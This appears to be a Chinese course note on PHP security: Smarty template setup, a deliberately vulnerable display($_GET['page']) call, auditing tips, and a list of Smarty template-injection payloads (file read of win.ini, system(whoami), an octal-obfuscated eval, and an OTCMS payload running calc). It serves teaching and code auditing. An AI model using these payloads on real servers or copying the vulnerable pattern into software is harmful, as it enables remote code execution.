PHP应用-组件框架&前端模版渲染&三方插件&富文本编辑器&CVE审计(2024小迪安全DAY30笔记)

文章目录

模板引擎

在开始介绍Smarty之前先了解一下模板引擎,模板引擎是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则,我们只需在html文件写好Smarty的标签即可,例{name},然后调用Smarty的方法传递变量参数即可。

使用配置&方法

1、创建一个文件夹,命名为smarty-demo。

2、下载Smarty对应版本并解压缩到该文件夹中。

3、创建一个PHP文件,命名为demo.php,并在文件中添加以下代码:

php 复制代码
<?php
// 引入 Smarty 类文件
require('smarty-demo/libs/Smarty.class.php');
// 创建 Smarty 实例
$smarty = new Smarty;
// 设置 Smarty 相关属性
$smarty->template_dir = 'smarty-demo/templates/';
$smarty->compile_dir = 'smarty-demo/templates_c/';
$smarty->cache_dir = 'smarty-demo/cache/';
$smarty->config_dir = 'smarty-demo/configs/';
// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');
// 显示模板
$smarty->display('index.tpl');
?>

4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中

html 复制代码
<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>

渲染文件受控

漏洞利用:

php 复制代码
// 显示模板
$smarty->display('index.tpl');
//受控的渲染页面文件
$smarty->display($_GET['page']);

黑盒思路:

判断网站的url有没有这种写法x.php?page= /url= index.tpl index.html

白盒思路:

1、使用smarty模版引擎

2、版本存在已知的CVE漏洞

3、可控的渲染文件或变量

CVE参考:

https://xz.aliyun.com/t/11108

https://www.cnblogs.com/magic-zero/p/8351974.html

POC:

*/phpinfo();//

string:{include file='C:/Windows/win.ini'}

string:{function name='x(){};system(whoami);function '}{/function}

string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

执行过程:

1、攻击者输入POC

POC 的目的就是把攻击者控制的字符串 构造成 Smarty 能当作"模板源(resource)"来编译 的形式(常用前缀是 string: / eval:),使引擎把该字符串写成 templates_c 下的 PHP 编译文件并在后续请求中执行它,从而把"用户输入"变成了"服务器端可执行代码"。

2、Smarty的渲染接口接收到string:.../eval:...等,会把参数当作模板源字符串 来处理,而不是简单的文件路径。

--- 关键:如果应用允许用户控制参数并且引擎会把其当作模板源读取,就把"用户输入"直接变成了可编译的模板内容。

3、编译成PHP文件

4、PHP 执行编译文件

案例一:代码审计CMS:(由第三方应用引用导致安全问题)

网钛(OTCMS):

这个平台更新到了最高版本,但也没有修复这个漏洞的原因是漏洞产生在后台,必须有后台权限才有可能触发这个漏洞。如果是这个模板加上可控变量而且不用任何权限就可以执行,那么就是高危

POC:

{otcms:$smarty.template_object->smarty->_getSmartyObj()->display('string:{otcms:system(calc)}')}

注意:POC格式一定要按照可识别的格式编写

执行结果:网站首页弹出计算器

插件组件(引用的第三方功能组件)

编辑器,邮箱,图片处理等(看DAY30笔记)

目的是知道网站的某些功能可能依赖第三方组件 ------ 如果识别出这些组件及其版本,就能去查对应版本是否存在已知漏洞(例如某个被引用的"编译器"组件本身有漏洞

使用:

https://www.cnblogs.com/qq350760546/p/6669112.html

参考:

https://www.cnblogs.com/linglinglingling/p/18040866

https://blog.csdn.net/weixin_58099903/article/details/125810825

白盒思路:看手册,学习这个组件的使用方法

黑盒思路:看特征、看功能、识别语言是不是PHP

案例二:编译器漏洞

-Kindeditor:https://www.cnblogs.com/TaoLeonis/p/14899198.html

相关推荐
૮・ﻌ・5 小时前
Vue3:组合式API、Vue3.3新特性、Pinia
前端·javascript·vue3
前端不太难5 小时前
RN + TypeScript 项目越写越乱?如何规范架构?
前端·javascript·typescript
神算大模型APi--天枢6465 小时前
全栈自主可控:国产算力平台重塑大模型后端开发与部署生态
大数据·前端·人工智能·架构·硬件架构
苏打水com5 小时前
第十五篇:Day43-45 前端性能优化进阶——从“可用”到“极致”(对标职场“高并发场景优化”需求)
前端·css·vue·html·js
@大迁世界6 小时前
08.CSS if() 函数
前端·css
Moment6 小时前
小米不仅造车,还造模型?309B参数全开源,深度思考完胜DeepSeek 🐒🐒🐒
前端·人工智能·后端
苏打水com6 小时前
第十六篇:Day46-48 前端安全进阶——从“漏洞防范”到“安全体系”(对标职场“攻防实战”需求)
前端·javascript·css·vue.js·html
5C246 小时前
从思想到实践:前端工程化体系与 Webpack 构建架构深度解析
前端·前端工程化
德迅云安全—珍珍6 小时前
主机安全-德迅卫士
linux·服务器·安全
咕噜企业分发小米6 小时前
如何平衡服务器内存使用率和系统稳定性?
java·服务器·前端